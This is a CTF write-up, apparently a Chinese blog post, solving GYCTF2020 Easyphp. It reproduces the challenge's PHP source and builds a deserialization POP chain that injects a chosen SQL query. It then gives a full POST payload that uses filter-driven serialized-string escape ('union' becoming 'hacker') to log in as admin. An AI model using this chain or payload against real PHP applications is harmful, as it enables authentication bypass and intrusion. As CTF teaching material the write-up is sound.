[GYCTF2020]Easyphp

打开界面,一个登陆的窗口,想到sql注入

然后查看源码没有多余的提示

然后试了一下常见的www.zip成功下载文件

index.php发现了包含文件

<?php
require_once "lib.php";

if(isset($_GET['action'])){
	require_once(__DIR__."/".$_GET['action'].".php");
}
else{
	if($_SESSION['login']==1){
		echo "<script>window.location.href='./index.php?action=update'</script>";
	}
	else{
		echo "<script>window.location.href='./index.php?action=login'</script>";
	}
}
?>


lib.php

<?php
error_reporting(0);
session_start();
function safe($parm){
    $array= array('union','regexp','load','into','flag','file','insert',"'",'\\',"*","alter");
    return str_replace($array,'hacker',$parm);
}
class User
{
    public $id;
    public $age=null;
    public $nickname=null;
    public function login() {
        if(isset($_POST['username'])&&isset($_POST['password'])){
        $mysqli=new dbCtrl();
        $this->id=$mysqli->login('select id,password from user where username=?');
        if($this->id){
        $_SESSION['id']=$this->id;
        $_SESSION['login']=1;
        echo "你的ID是".$_SESSION['id'];
        echo "你好!".$_SESSION['token'];
        echo "<script>window.location.href='./update.php'</script>";
        return $this->id;
        }
    }
}
    public function update(){
        $Info=unserialize($this->getNewinfo());
        //反序列化的是getNewinfo的返回值
        $age=$Info->age;
        $nickname=$Info->nickname;
        $updateAction=new UpdateHelper($_SESSION['id'],$Info,"update user SET age=$age,nickname=$nickname where id=".$_SESSION['id']);
    }
    public function getNewInfo(){
        $age=$_POST['age'];
        $nickname=$_POST['nickname'];
        return safe(serialize(new Info($age,$nickname)));
    }

    public function __destruct(){
        return file_get_contents($this->nickname);//危
    }

    public function __toString()
    {
        $this->nickname->update($this->age);
        return "0-0";
    }
}
class Info{
    public $age;
    public $nickname;
    public $CtrlCase;
    public function __construct($age,$nickname){
        $this->age=$age;
        $this->nickname=$nickname;
    }
    public function __call($name,$argument){
    //调用类中不存在的方法时会调用
        echo $this->CtrlCase->login($argument[0]);
    }
}
Class UpdateHelper{
    public $id;
    public $newinfo;
    public $sql;
    public function __construct($newInfo,$sql){
        $newInfo=unserialize($newInfo);
        $upDate=new dbCtrl();
    }
    public function __destruct()
    {
        echo $this->sql;
    }
}
class dbCtrl
{
    public $hostname="127.0.0.1";
    public $dbuser="root";
    public $dbpass="root";
    public $database="test";
    public $name;
    public $password;
    public $mysqli;
    public $token;
    public function __construct()
    {
        $this->name=$_POST['username'];
        $this->password=$_POST['password'];
        $this->token=$_SESSION['token'];
    }
    public function login($sql)
    {
        $this->mysqli=new mysqli($this->hostname, $this->dbuser, $this->dbpass, $this->database);
        if ($this->mysqli->connect_error) {
            die("连接失败,错误:" . $this->mysqli->connect_error);
        }
        $result=$this->mysqli->prepare($sql);//执行sql语句。
        $result->bind_param('s', $this->name);
        //绑定参数,第一个参数,表示第一个字段类型string,是要插入字段的类型
        $result->execute();//执行准备的语句
        $result->bind_result($idResult, $passwordResult);
        //把查寻的id集合绑定到idresult,密码集绑定到变量passwordResult,查到返回true
        $result->fetch();//取值
        $result->close();//关连接
        if ($this->token=='admin') {
            //通过反序列化控制token等于admin就可以了
            return $idResult;
        }
        if (!$idResult) {
            echo('用户不存在!');
            return false;
        }
        if (md5($this->password)!==$passwordResult) {
            echo('密码错误!');
            return false;
        }
        //当密码
        $_SESSION['token']=$this->name;
        return $idResult;
    }
    public function update($sql)
    {
        //还没来得及写
    }
}

if ($this->token=='admin') {
            //通过反序列化控制token等于admin就可以了
            return $idResult;
        }
        if (!$idResult) {
            echo('用户不存在!');
            return false;
        }
        if (md5($this->password)!==$passwordResult) {
            echo('密码错误!');
            return false;
        }
        //当密码
        $_SESSION['token']=$this->name;
        return $idResult;

我们可以知道登陆成功的条件:① 用户名存在,且$this->password的md5值与数据库查询的用户密码相同。② 或者token的值为admin。

代码中的查询语句为select id,password from user where username=?,
但其实执行的sql语句是我们可控的(后面再说明),这样的话我们只需要将查询语句写成下面这个样子:
select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?

 然后用序列化反序列化把值存进去就可以了

首先看一个小例子

<?php
class test1{
    public $nickname;
    public $age=8;
    public function __destruct(){
        $this->nickname->update($this->age);
    }
}
class test2{
    public $c;
    public $d;
    public function __call($c,$d){
        echo $c;//这个c接受的是 update这个方法名
        echo $c[1]; 这就是 update  中的 p
        echo $d[0]."br";  8
        echo $d;    array 

}

}
$t=new test1();
$t->nickname=new test2();
echo serialize($t);

之后开始构造

UpdateHelper::destruct-->User::tostring-->Info::call-->dbCtrl::login

<?php
error_reporting(0);
session_start();

class User
{

    public $age='select "1","c4ca4238a0b923820dcc509a6f75849b" from user where username=?';
    public $nickname=null;

}
class Info{
    public $CtrlCase;

}
Class UpdateHelper{
    public $sql;

}
class dbCtrl
{

    public $name="admin";
    public $password="1";


}
$U=new UpdateHelper();
$U->sql=new User();
$U->sql->nickname=new Info();
$U->sql->nickname->CtrlCase=new dbCtrl();
echo serialize($U);

这里为什么是age被赋值时因为每一次的传参 

O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:3:"age";s:72:"select "1","c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":1:{s:8:"CtrlCase";O:6:"dbCtrl":2:{s:4:"name";s:5:"admin";s:8:"password";s:1:"1";}}}}

然后我们发现反序列化的点也在里面,User类中的update

   public function update(){
        $Info=unserialize($this->getNewinfo());
        $age=$Info->age;
        $nickname=$Info->nickname;
        $updateAction=new UpdateHelper($_SESSION['id'],$Info,"update user SET age=$age,nickname=$nickname where id=".$_SESSION['id']);
        //这个功能还没有写完 先占坑
    }
    public function getNewInfo(){
        $age=$_POST['age'];
        $nickname=$_POST['nickname'];
        echo safe(serialize(new Info($age,$nickname)));
        return safe(serialize(new Info($age,$nickname)));
    }

也就是age,nickname的序列化,然后经过了safe过滤,这就要用到反序列化逃逸了,不然序列化出来的是

O:4:"Info":3:{s:3:"age";N;s:8:"nickname";N;s:8:"CtrlCase";N;}O:4:"Info":3:{s:3:"age";N;s:8:"nickname";N;s:8:"CtrlCase";N;}

想当然我们的思路就是通过,union会替换为hacker,5个字符变成了6个字符,就可以进行逃逸

因为age和nickname都可以post进行传参,nickname在后面,如果改age还需要加nickname,

所以我们决定修改nickname 

例子:

{s:3:"age";N;s:8:"nickname";N;s:8:"   union";s:age    这里就可以自由的改了后面的都会被忽略                           ";N;}

";s:8:"CtrlCase";O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:3:"age";s:72:"select "1","c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":1:{s:8:"CtrlCase";O:6:"dbCtrl":2:{s:4:"name";s:5:"admin";s:8:"password";s:1:"1";}}}}

这是构造完的,264个字符包括  ";s:8:"CtrlCase";     

然后需要264个union进行逃逸

age=1&nickname=unionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunion";s:8:"CtrlCase";O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:3:"age";s:72:"select "1","c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":1:{s:8:"CtrlCase";O:6:"dbCtrl":2:{s:4:"name";s:5:"admin";s:8:"password";s:1:"1";}}}}

然后在 update.php界面,进行传参,这时候用户名为admin密码随意,因为session[name]设置为了admin了,默认加php

 参考链接:[GYCTF2020]Easyphp_succ3的博客-CSDN博客_[gyctf2020]easyphp

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值